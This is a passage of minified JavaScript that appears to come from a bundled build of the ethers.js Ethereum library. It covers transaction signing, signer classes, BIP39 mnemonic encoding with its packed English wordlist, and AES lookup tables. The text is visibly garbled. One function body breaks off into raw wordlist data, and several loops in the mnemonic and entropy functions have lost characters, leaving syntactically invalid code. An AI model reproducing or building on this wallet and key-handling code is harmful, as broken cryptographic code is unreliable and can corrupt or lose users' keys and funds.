e=lg(this,\"populateTransaction\"),r=await fg(this,t);null==r.nonce&&(r.nonce=await this.getNonce(\"pending\")),null==r.gasLimit&&(r.gasLimit=await this.estimateGas(r));const n=await this.provider.getNetwork();if(null!=r.chainId){vn(zn(r.chainId)===n.chainId,\"transaction chainId mismatch\",\"tx.chainId\",t.chainId)}else r.chainId=n.chainId;const A=null!=r.maxFeePerGas||null!=r.maxPriorityFeePerGas;if(null==r.gasPrice||2!==r.type&&!A?0!==r.type&&1!==r.type||!A||vn(!1,\"pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas\",\"tx\",t):vn(!1,\"eip-1559 transaction do not support gasPrice\",\"tx\",t),2!==r.type&&null!=r.type||null==r.maxFeePerGas||null==r.maxPriorityFeePerGas)if(0===r.type||1===r.type){const t=await e.getFeeData();wn(null!=t.gasPrice,\"network does not support gasPrice\",\"UNSUPPORTED_OPERATION\",{operation:\"getGasPrice\"}),null==r.gasPrice&&(r.gasPrice=t.gasPrice)}else{const t=await e.getFeeData();if(null==r.type)if(null!=t.maxFeePerGas&&null!=t.maxPriorityFeePerGas)if(r.type=2,null!=r.gasPrice){const t=r.gasPrice;delete r.gasPrice,r.maxFeePerGas=t,r.maxPriorityFeePerGas=t}else null==r.maxFeePerGas&&(r.maxFeePerGas=t.maxFeePerGas),null==r.maxPriorityFeePerGas&&(r.maxPriorityFeePerGas=t.maxPriorityFeePerGas);else null!=t.gasPrice?(wn(!A,\"network does not support EIP-1559\",\"UNSUPPORTED_OPERATION\",{operation:\"populateTransaction\"}),null==r.gasPrice&&(r.gasPrice=t.gasPrice),r.type=0):wn(!1,\"failed to get consistent fee data\",\"UNSUPPORTED_OPERATION\",{operation:\"signer.getFeeData\"});else 2===r.type&&(null==r.maxFeePerGas&&(r.maxFeePerGas=t.maxFeePerGas),null==r.maxPriorityFeePerGas&&(r.maxPriorityFeePerGas=t.maxPriorityFeePerGas))}else r.type=2;return await In(r)}async estimateGas(t){return lg(this,\"estimateGas\").estimateGas(await this.populateCall(t))}async call(t){return lg(this,\"call\").call(await this.populateCall(t))}async resolveName(t){const e=lg(this,\"resolveName\");return await e.resolveName(t)}async sendTransaction(t){const e=lg(this,\"sendTransaction\"),r=await this.populateTransaction(t);delete r.from;const n=hc.from(r);return await e.broadcastTransaction(await this.signTransaction(n))}}class dg extends pg{address;constructor(t,e){super(e),yn(this,{address:t})}async getAddress(){return this.address}connect(t){return new dg(this.address,t)}#nt(t,e){wn(!1,`VoidSigner cannot sign ${t}`,\"UNSUPPORTED_OPERATION\",{operation:e})}async signTransaction(t){this.#nt(\"transactions\",\"signTransaction\")}async signMessage(t){this.#nt(\"messages\",\"signMessage\")}async signTypedData(t,e,r){this.#nt(\"typed-data\",\"signTypedData\")}}class Ig extends pg{address;#At;constructor(t,e){super(e),vn(t&&\"function\"==typeof t.sign,\"invalid private key\",\"privateKey\",\"[ REDACTED ]\"),this.#At=t;yn(this,{address:Ja(this.signingKey.publicKey)})}get signingKey(){return this.#At}get privateKey(){return this.signingKey.privateKey}async getAddress(){return this.address}connect(t){return new Ig(this.#At,t)}async signTransaction(t){const{to:e,from:r}=await In({to:t.to?Ca(t.to,this.provider):void 0,from:t.from?Ca(t.from,this.provider):void 0});null!=e&&(t.to=e),null!=r&&(t.from=r),null!=t.from&&(vn(da(t.from)===this.address,\"transaction from address mismatch\",\"tx.from\",t.from),delete t.from);const n=hc.from(t);return n.signature=this.signingKey.sign(n.unsignedHash),n.serialized}async signMessage(t){return this.signMessageSync(t)}signMessageSync(t){return this.signingKey.sign(function(t){return\"string\"==typeof t&&(t=aA(t)),no(Tn([aA(\"\u0019Ethereum Signed Message:\\n\"),aA(String(t.length)),t]))}(t)).serialized}async signTypedData(t,e,r){const n=await _c.resolveNames(t,e,r,(async t=>{wn(null!=this.provider,\"cannot resolve ENS names without a provider\",\"UNSUPPORTED_OPERATION\",{operation:\"resolveName\",info:{name:t}});const e=await this.provider.resolveName(t);return wn(null!=e,\"unconfigured ENS name\",\"UNCONFIGURED_NAME\",{value:t}),e}));return this.signingKey.sign(_c.hash(n.domain,e,n.value)).serialized}}const yg=\" !#$%&'()*+,-./<=>?@[]^_`{|}~\",Cg=/^[a-z]*$/i;function mg(t,e){let r=97;return t.reduce(((t,n)=>(n===e?r++:n.match(Cg)?t.push(String.fromCharCode(r)+n):(r=97,t.push(n)),t)),[])}function Bg(t){return vn(\"0\"===t[0],\"unsupported auwl data\",\"data\",t),function(t,e){for(let r=yg.length-1;r>=0;r--)t=t.split(yg[r]).join(e.substring(2*r,2*r+2));const r=[],n=t.replace(/(:|([0-9])|([A-Z][a-z]*))/g,((t,e,n,A)=>{if(n)for(let t=parseInt(n);t>=0;t--)r.push(\";\");else r.push(e.toLowerCase());return\"\"}));if(n)throw new Error(`leftovers: ${JSON.stringify(n)}`);return mg(mg(r,\";\"),\":\")}(t.substring(1+2*yg.length),t.substring(1,1+2*yg.length))}class Eg{locale;constructor(t){yn(this,{locale:t})}split(t){return t.toLowerCase().split(/\\s+/g)}join(t){return t.join(\" \")}}class wg extends Eg{#g;#it;constructor(t,e,r){super(t),this.#g=e,this.#it=r,this.#ot=null}get _data(){return this.#g}_decodeWords(){return Bg(this.#g)}#ot;#st(){if(null==this.#ot){const t=this._decodeWords();if(Oa(t.join(\"\\n\")+\"\\n\")!==this.#it)throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`);this.#ot=t}return this.#ot}getWord(t){const e=this.#st();return vn(t>=0&&turAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{etImeIspIt-OpO[Ou^OwdUci$UelUi'Umb!Un^UshYY,$2BeLtu*PPbo?dRiousRr|Rta(R=Sh]/omTe3C!:DMa+MpN)Ng R(gShUght WnY3AlBa>BrisCadeCemb CideCl(eC%a>C*a'ErF&'F(eFyG*eLayLiv M3AgramAlAm#dAryCeE'lEtFf G.$Gn.yLemmaNn NosaurRe@RtSag*eScov Sea'ShSmi[S%d Splay/<)V tVideV%)Zzy5Ct%Cum|G~Lph(Ma(Na>NkeyN%OrSeUb!Ve_ftAg#AmaA,-AwEamE[IftIllInkIpI=OpUmY2CkMbNeR(g/T^Ty1Arf1Nam-:G G!RlyRnR`Sily/Sy1HoOlogyOnomy0GeItUca>1F%t0G1GhtTh 2BowD E@r-EgSe0B?kBodyBra)Er+Ot]PloyPow Pty0Ab!A@DD![D%'EmyErgyF%)Ga+G(eH<)JoyLi,OughR-hRollSu*T Ti*TryVelope1Isode0U$Uip0AA'OdeOs]R%Upt0CapeSayS&)Ta>0Ern$H-s1Id&)IlOkeOl=1A@Amp!Ce[Ch<+C.eCludeCu'Ecu>Erci'Hau,Hib.I!I,ItOt-PM&'Mu}Pa@Po'Pro=Pul'0ChCludeComeC*a'DexD-a>Do%Du,ryFN Noc|PutQuirySSue0Em1Ory:CketGu?RZz3AlousAns~yWel9BInKeUr}yY5D+I)MpNg!Ni%Nk/:Ng?oo3EnEpT^upY3CkDD}yNdNgdomSsTT^&TeTt&Wi4EeIfeO{Ow:BBelB%Dd DyKeMpNgua+PtopR+T T(UghUndryVaWWnWsu.Y Zy3Ad AfArnA=Ctu*FtGG$G&dIsu*M#NdNg`NsOp?dSs#Tt Vel3ArB tyBr?yC&'FeFtGhtKeMbM.NkOnQuid/Tt!VeZ?d5AdAnB, C$CkG-NelyNgOpTt yUdUn+VeY$5CkyGga+Mb N?N^Xury3R-s:Ch(eDG-G}tIdIlInJ%KeMm$NNa+Nda>NgoNs]Nu$P!Rb!R^Rg(R(eRketRria+SkSs/ T^T i$ThTrixTt XimumZe3AdowAnAsu*AtCh<-D$DiaLodyLtMb M%yNt]NuRcyR+R.RryShSsa+T$Thod3Dd!DnightLk~]M-NdNimumN%Nu>Rac!Rr%S ySs/akeXXedXtu*5Bi!DelDifyMM|N.%NkeyN, N`OnR$ReRn(gSqu.oTh T]T%Unta(U'VeVie5ChFf(LeLtiplySc!SeumShroomS-/Tu$3Self/ yTh:I=MePk(Rrow/yT]Tu*3ArCkEdGati=G!@I` PhewR=/TTw%kUtr$V WsXt3CeGht5B!I'M(eeOd!Rm$R`SeTab!TeTh(gTi)VelW5C!?Mb R'T:K0EyJe@Li+Scu*S =Ta(Vious0CurEAyEa'Ed+U{UgUn+2EmEtIntL?LeLi)NdNyOlPul?Rt]S.]Ssib!/TatoTt yV tyWd W _@i)Ai'Ed-tEf Epa*Es|EttyEv|I)IdeIm?yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO\",\"0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60\")}static wordlist(){return null==vg&&(vg=new _g),vg}}function Qg(t){return(1<=12&&r.length<=24,\"invalid mnemonic length\",\"mnemonic\",\"[ REDACTED ]\");const n=new Uint8Array(Math.ceil(11*r.length/8));let A=0;for(let t=0;t=0,`invalid mnemonic word at index ${t}`,\"mnemonic\",\"[ REDACTED ]\");for(let t=0;t<11;t++)i&1<<10-t&&(n[A>>3]|=1<<7-A%8),A++}const i=32*r.length/3,o=Qg(r.length/3);return vn((Sn(zo(n.slice(0,i/8)))[0]&o)===(n[n.length-1]&o),\"invalid mnemonic checksum\",\"mnemonic\",\"[ REDACTED ]\"),Pn(n.slice(0,i/8))}function kg(t,e){vn(t.length%4==0&&t.length>=16&&t.length<=32,\"invalid entropy size\",\"entropy\",\"[ REDACTED ]\"),null==e&&(e=_g.wordlist());const r=[0];let n=11;for(let e=0;e8?(r[r.length-1]<<=8,r[r.length-1]|=t[e],n-=8):(r[r.length-1]<<=n,r[r.length-1]|=t[e]>>8-n,r.push(t[e]&((1<<8-n)-1&255)),n+=3);const A=t.length/4,i=parseInt(zo(t).substring(2,4),16)&Qg(A);return r[r.length-1]<<=A,r[r.length-1]|=i>>8-A,e.join(r.map((t=>e.getWord(t))))}const Dg={};class Sg{phrase;password;wordlist;entropy;constructor(t,e,r,n,A){null==n&&(n=\"\"),null==A&&(A=_g.wordlist()),kn(t,Dg,\"Mnemonic\"),yn(this,{phrase:r,password:n,wordlist:A,entropy:e})}computeSeed(){const t=aA(\"mnemonic\"+this.password,\"NFKD\");return Qo(aA(this.phrase,\"NFKD\"),t,2048,64,\"sha512\")}static fromPhrase(t,e,r){const n=bg(t,r);return t=kg(Sn(n),r),new Sg(Dg,n,t,e,r)}static fromEntropy(t,e,r){const n=Sn(t,\"entropy\"),A=kg(n,r);return new Sg(Dg,Pn(n),A,e,r)}static entropyToPhrase(t,e){return kg(Sn(t,\"entropy\"),e)}static phraseToEntropy(t,e){return bg(t,e)}static isValidMnemonic(t,e){try{return bg(t,e),!0}catch(t){}return!1}}\n/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */var Ng,Mg,xg,Fg=function(t,e,r,n){if(\"a\"===r&&!n)throw new TypeError(\"Private accessor was defined without a getter\");if(\"function\"==typeof e?t!==e||!n:!e.has(t))throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");return\"m\"===r?n:\"a\"===r?n.call(t):n?n.value:e.get(t)},Pg=function(t,e,r,n,A){if(\"m\"===n)throw new TypeError(\"Private method is not writable\");if(\"a\"===n&&!A)throw new TypeError(\"Private accessor was defined without a setter\");if(\"function\"==typeof e?t!==e||!A:!e.has(t))throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");return\"a\"===n?A.call(t,r):A?A.value=r:e.set(t,r),r};const Tg={16:10,24:12,32:14},Rg=[1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145],Ug=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],Gg=[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125],Hg=[3328402341,4168907908,4000806809,4135287693,4294111757,3597364157,3731845041,2445657428,1613770832,33620227,3462883241,1445669757,3892248089,3050821474,1303096294,3967186586,2412431941,528646813,2311702848,4202528135,4026202645,2992200171,2387036105,4226871307,1101901292,3017069671,1604494077,1169141738,597466303,1403299063,3832705686,2613100635,1974974402,3791519004,1033081774,1277568618,1815492186,2118074177,4126668546,2211236943,1748251740,1369810420,3521504564,4193382664,3799085459,2883115123,1647391059,706024767,134480908,2512897874,1176707941,2646852446,806885416,932615841,168101135,798661301,235341577,605164086,461406363,3756188221,3454790438,1311188841,2142417613,3933566367,302582043,495158174,1479289972,874125870,907746093,3698224818,3025820398,1537253627,2756858614,1983593293,3084310113,2108928974,1378429307,3722699582,1580150641,327451799,2790478837,3117535592,0,3253595436,1075847264,3825007647,2041688520,3059440621,3563743934,2378943302,1740553945,1916352843,2487896798,2555137236,2958579944,2244988746,3151024235,3320835882,1336584933,3992714006,2252555205,2588757463,1714631509,293963156,2319795663,3925473552,67240454,4269768577,2689618160,2017213508,631218106,1269344483,2723238387,1571005438,2151694528,93294474,1066570413,563977660,1882732616,4059428100,1673313503,2008463041,2950355573,1109467491,537923632,3858759450,4260623118,3218264685,2177748300,403442708,638784309,3287084079,3193921505,899127202,2286175436,773265209,2479146071,1437050866,4236148354,2050833735,3362022572,3126681063,840505643,3866325909,3227541664,427917720,2655997905,2749160575,1143087718,1412049534,999329963,193497219,2353415882,3354324521,1807268051,672404540,2816401017,3160301282,369822493,2916866934,3688947771,1681011286,1949973070,336202270,2454276571,201721354,1210328172,3093060836,2680341085,3184776046,1135389935,3294782118,965841320,831886756,3554993207,4068047243,3588745010,2345191491,1849112409,3664604599,26054028,2983581028,2622377682,1235855840,3630984372,2891339514,4092916743,3488279077,3395642799,4101667470,1202630377,268961816,1874508501,4034427016,1243948399,1546530418,941366308,1470539505,1941222599,2546386513,3421038627,2715671932,3899946140,1042226977,2521517021,1639824860,227249030,260737669,3765465232,2084453954,1907733956,3429263018,2420656344,100860677,4160157185,470683154,3261161891,1781871967,2924959737,1773779408,394692241,2579611992,974986535,664706745,3655459128,3958962195,731420851,571543859,3530123707,2849626480,126783113,865375399,765172662,1008606754,361203602,3387549984,2278477385,2857719295,1344809080,2782912378,59542671,1503764984,160008576,437062935,1707065306,3622233649,2218934982,3496503480,2185314755,697932208,1512910199,504303377,2075177163,2824099068,1841019862,739644986],Lg=[2781242211,2230877308,2582542199,2381740923,234877682,3184946027,2984144751,1418839493,1348481072,50462977,2848876391,2102799147,434634494,1656084439,3863849899,2599188086,1167051466,2636087938,1082771913,2281340285,368048890,3954334041,3381544775,201060592,3963727277,1739838676,4250903202,3930435503,3206782108,4149453988,2531553906,1536934080,3262494647,484572669,2923271059,1783375398,1517041206,1098792767,49674231,1334037708,1550332980,4098991525,886171109,150598129,2481090929,1940642008,1398944049,1059722517,201851908,1385547719,1699095331,1587397571,674240536,2704774806,252314885,3039795866,151914247,908333586,2602270848,1038082786,651029483,1766729511,3447698098,2682942837,454166793,2652734339,1951935532,775166490,758520603,3000790638,4004797018,4217086112,4137964114,1299594043,1639438038,3464344499,2068982057,1054729187,1901997871,2534638724,4121318227,1757008337,0,750906861,1614815264,535035132,3363418545,3988151131,3201591914,1183697867,3647454910,1265776953,3734260298,3566750796,3903871064,1250283471,1807470800,717615087,3847203498,384695291,3313910595,3617213773,1432761139,2484176261,3481945413,283769337,100925954,2180939647,4037038160,1148730428,3123027871,3813386408,4087501137,4267549603,3229630528,2315620239,2906624658,3156319645,1215313976,82966005,3747855548,3245848246,1974459098,1665278241,807407632,451280895,251524083,1841287890,1283575245,337120268,891687699,801369324,3787349855,2721421207,3431482436,959321879,1469301956,4065699751,2197585534,1199193405,2898814052,3887750493,724703513,2514908019,2696962144,2551808385,3516813135,2141445340,1715741218,2119445034,2872807568,2198571144,3398190662,700968686,3547052216,1009259540,2041044702,3803995742,487983883,1991105499,1004265696,1449407026,1316239930,504629770,3683797321,168560134,1816667172,3837287516,1570751170,1857934291,4014189740,2797888098,2822345105,2754712981,936633572,2347923833,852879335,1133234376,1500395319,3084545389,2348912013,1689376213,3533459022,3762923945,3034082412,4205598294,133428468,634383082,2949277029,2398386810,3913789102,403703816,3580869306,2297460856,1867130149,1918643758,607656988,4049053350,3346248884,1368901318,600565992,2090982877,2632479860,557719327,3717614411,3697393085,2249034635,2232388234,2430627952,1115438654,3295786421,2865522278,3633334344,84280067,33027830,303828494,2747425121,1600795957,4188952407,3496589753,2434238086,1486471617,658119965,3106381470,953803233,334231800,3005978776,857870609,3151128937,1890179545,2298973838,2805175444,3056442267,574365214,2450884487,550103529,1233637070,4289353045,2018519080,2057691103,2399374476,4166623649,2148108681,387583245,3664101311,836232934,3330556482,3100665960,3280093505,2955516313,2002398509,287182607,3413881008,4238890068,3597515707,975967766],Og=[1671808611,2089089148,2006576759,2072901243,4061003762,1807603307,1873927791,3310653893,810573872,16974337,1739181671,729634347,4263110654,3613570519,2883997099,1989864566,3393556426,2191335298,3376449993,2106063485,4195741690,1508618841,1204391495,4027317232,2917941677,3563566036,2734514082,2951366063,2629772188,2767672228,1922491506,3227229120,3082974647,4246528509,2477669779,644500518,911895606,1061256767,4144166391,3427763148,878471220,2784252325,3845444069,4043897329,1905517169,3631459288,827548209,356461077,67897348,3344078279,593839651,3277757891,405286936,2527147926,84871685,2595565466,118033927,305538066,2157648768,3795705826,3945188843,661212711,2999812018,1973414517,152769033,2208177539,745822252,439235610,455947803,1857215598,1525593178,2700827552,1391895634,994932283,3596728278,3016654259,695947817,3812548067,795958831,2224493444,1408607827,3513301457,0,3979133421,543178784,4229948412,2982705585,1542305371,1790891114,3410398667,3201918910,961245753,1256100938,1289001036,1491644504,3477767631,3496721360,4012557807,2867154858,4212583931,1137018435,1305975373,861234739,2241073541,1171229253,4178635257,33948674,2139225727,1357946960,1011120188,2679776671,2833468328,1374921297,2751356323,1086357568,2408187279,2460827538,2646352285,944271416,4110742005,3168756668,3066132406,3665145818,560153121,271589392,4279952895,4077846003,3530407890,3444343245,202643468,322250259,3962553324,1608629855,2543990167,1154254916,389623319,3294073796,2817676711,2122513534,1028094525,1689045092,1575467613,422261273,1939203699,1621147744,2174228865,1339137615,3699352540,577127458,712922154,2427141008,2290289544,1187679302,3995715566,3100863416,339486740,3732514782,1591917662,186455563,3681988059,3762019296,844522546,978220090,169743370,1239126601,101321734,611076132,1558493276,3260915650,3547250131,2901361580,1655096418,2443721105,2510565781,3828863972,2039214713,3878868455,3359869896,928607799,1840765549,2374762893,3580146133,1322425422,2850048425,1823791212,1459268694,4094161908,3928346602,1706019429,2056189050,2934523822,135794696,3134549946,2022240376,628050469,779246638,472135708,2800834470,3032970164,3327236038,3894660072,3715932637,1956440180,522272287,1272813131,3185336765,2340818315,2323976074,1888542832,1044544574,3049550261,1722469478,1222152264,50660867,4127324150,236067854,1638122081,895445557,1475980887,3117443513,2257655686,3243809217,489110045,2662934430,3778599393,4162055160,2561878936,288563729,1773916777,3648039385,2391345038,2493985684,2612407707,505560094,2274497927,3911240169,3460925390,1442818645,678973480,3749357023,2358182796,2717407649,2306869641,219617805,3218761151,3862026214,1120306242,1756942440,1103331905,2578459033,762796589,252780047,2966125488,1425844308,3151392187,372911126],Yg=[1667474886,2088535288,2004326894,2071694838,4075949567,1802223062,1869591006,3318043793,808472672,16843522,1734846926,724270422,4278065639,3621216949,2880169549,1987484396,3402253711,2189597983,3385409673,2105378810,4210693615,1499065266,1195886990,4042263547,2913856577,3570689971,2728590687,2947541573,2627518243,2762274643,1920112356,3233831835,3082273397,4261223649,2475929149,640051788,909531756,1061110142,4160160501,3435941763,875846760,2779116625,3857003729,4059105529,1903268834,3638064043,825316194,353713962,67374088,3351728789,589522246,3284360861,404236336,2526454071,84217610,2593830191,117901582,303183396,2155911963,3806477791,3958056653,656894286,2998062463,1970642922,151591698,2206440989,741110872,437923380,454765878,1852748508,1515908788,2694904667,1381168804,993742198,3604373943,3014905469,690584402,3823320797,791638366,2223281939,1398011302,3520161977,0,3991743681,538992704,4244381667,2981218425,1532751286,1785380564,3419096717,3200178535,960056178,1246420628,1280103576,1482221744,3486468741,3503319995,4025428677,2863326543,4227536621,1128514950,1296947098,859002214,2240123921,1162203018,4193849577,33687044,2139062782,1347481760,1010582648,2678045221,2829640523,1364325282,2745433693,1077985408,2408548869,2459086143,2644360225,943212656,4126475505,3166494563,3065430391,3671750063,555836226,269496352,4294908645,4092792573,3537006015,3452783745,202118168,320025894,3974901699,1600119230,2543297077,1145359496,387397934,3301201811,2812801621,2122220284,1027426170,1684319432,1566435258,421079858,1936954854,1616945344,2172753945,1330631070,3705438115,572679748,707427924,2425400123,2290647819,1179044492,4008585671,3099120491,336870440,3739122087,1583276732,185277718,3688593069,3772791771,842159716,976899700,168435220,1229577106,101059084,606366792,1549591736,3267517855,3553849021,2897014595,1650632388,2442242105,2509612081,3840161747,2038008818,3890688725,3368567691,926374254,1835907034,2374863873,3587531953,1313788572,2846482505,1819063512,1448540844,4109633523,3941213647,1701162954,2054852340,2930698567,134748176,3132806511,2021165296,623210314,774795868,471606328,2795958615,3031746419,3334885783,3907527627,3722280097,1953799400,522133822,1263263126,3183336545,2341176845,2324333839,1886425312,1044267644,3048588401,1718004428,1212733584,50529542,4143317495,235803164,1633788866,892690282,1465383342,3115962473,2256965911,3250673817,488449850,2661202215,3789633753,4177007595,2560144171,286339874,1768537042,3654906025,2391705863,2492770099,2610673197,505291324,2273808917,3924369609,3469625735,1431699370,673740880,3755965093,2358021891,2711746649,2307489801,218961690,3217021541,3873845719,1111672452,1751693520,1094828930,2576986153,757954394,252645662,2964376443,1414855848,3149649517,370555436],Kg=[1374988112,2118214995,437757123,975658646,1001089995,530400753,2902087851,1273168787,540080725,2910219766,2295101073,4110568485,1340463100,3307916247,641025152,3043140495,3736164937,632953703,1172967064,1576976609,3274667266,2169303058,2370213795,1809054150,59727847,361929877,3211623147,2505202138,3569255213,1484005843,1239443753,2395588676,1975683434,4102977912,2572697195,666464733,3202437046,4035489047,3374361702,2110667444,1675577880,3843699074,2538681184,1649639237,2976151520,3144396420,4269907996,4178062228,1883793496,2403728665,2497604743,1383856311,2876494627,1917518562,3810496343,1716890410,3001755655,800440835,2261089178,3543599269,807962610,599762354,33778362,3977675356,2328828971,2809771154,4077384432,1315562145,1708848333,101039829,3509871135,3299278474,875451293,2733856160,92987698,2767645557,193195065,1080094634,1584504582,3178106961,1042385657,2531067453,3711829422,1306967366,2438237621,1908694277,67556463,1615861247,429456164,3602770327,2302690252,1742315127,2968011453,126454664,3877198648,2043211483,2709260871,2084704233,4169408201,0,159417987,841739592,504459436,1817866830,4245618683,260388950,1034867998,908933415,168810852,1750902305,2606453969,607530554,202008497,2472011535,3035535058,463180190,2160117071,1641816226,1517767529,470948374,3801332234,3231722213,1008918595,303765277,235474187,4069246893,766945465,337553864,1475418501,2943682380,4003061179,2743034109,4144047775,1551037884,1147550661,1543208500,2336434550,3408119516,3069049960,3102011747,3610369226,1113818384,328671808,2227573024,2236228733,3535486456,2935566865,3341394285,496906059,3702665459,226906860,2009195472,733156972,2842737049,294930682,1206477858,2835123396,2700099354,1451044056,573804783,2269728455,3644379585,2362090238,2564033334,2801107407,2776292904,3669462566,1068351396,742039012,1350078989,1784663195,1417561698,4136440770,2430122216,775550814,2193862645,2673705150,1775276924,1876241833,3475313331,3366754619,270040487,3902563182,3678124923,3441850377,1851332852,3969562369,2203032232,3868552805,2868897406,566021896,4011190502,3135740889,1248802510,3936291284,699432150,832877231,708780849,3332740144,899835584,1951317047,4236429990,3767586992,866637845,4043610186,1106041591,2144161806,395441711,1984812685,1139781709,3433712980,3835036895,2664543715,1282050075,3240894392,1181045119,2640243204,25965917,4203181171,4211818798,3009879386,2463879762,3910161971,1842759443,2597806476,933301370,1509430414,3943906441,3467192302,3076639029,3776767469,2051518780,2631065433,1441952575,404016761,1942435775,1408749034,1610459739,3745345300,2017778566,3400528769,3110650942,941896748,3265478751,371049330,3168937228,675039627,4279080257,967311729,135050206,3635733660,1683407248,2076935265,3576870512,1215061108,3501741890],Jg=[1347548327,1400783205,3273267108,2520393566,3409685355,4045380933,2880240216,2471224067,1428173050,4138563181,2441661558,636813900,4233094615,3620022987,2149987652,2411029155,1239331162,1730525723,2554718734,3781033664,46346101,310463728,2743944855,3328955385,3875770207,2501218972,3955191162,3667219033,768917123,3545789473,692707433,1150208456,1786102409,2029293177,1805211710,3710368113,3065962831,401639597,1724457132,3028143674,409198410,2196052529,1620529459,1164071807,3769721975,2226875310,486441376,2499348523,1483753576,428819965,2274680428,3075636216,598438867,3799141122,1474502543,711349675,129166120,53458370,2592523643,2782082824,4063242375,2988687269,3120694122,1559041666,730517276,2460449204,4042459122,2706270690,3446004468,3573941694,533804130,2328143614,2637442643,2695033685,839224033,1973745387,957055980,2856345839,106852767,1371368976,4181598602,1033297158,2933734917,1179510461,3046200461,91341917,1862534868,4284502037,605657339,2547432937,3431546947,2003294622,3182487618,2282195339,954669403,3682191598,1201765386,3917234703,3388507166,0,2198438022,1211247597,2887651696,1315723890,4227665663,1443857720,507358933,657861945,1678381017,560487590,3516619604,975451694,2970356327,261314535,3535072918,2652609425,1333838021,2724322336,1767536459,370938394,182621114,3854606378,1128014560,487725847,185469197,2918353863,3106780840,3356761769,2237133081,1286567175,3152976349,4255350624,2683765030,3160175349,3309594171,878443390,1988838185,3704300486,1756818940,1673061617,3403100636,272786309,1075025698,545572369,2105887268,4174560061,296679730,1841768865,1260232239,4091327024,3960309330,3497509347,1814803222,2578018489,4195456072,575138148,3299409036,446754879,3629546796,4011996048,3347532110,3252238545,4270639778,915985419,3483825537,681933534,651868046,2755636671,3828103837,223377554,2607439820,1649704518,3270937875,3901806776,1580087799,4118987695,3198115200,2087309459,2842678573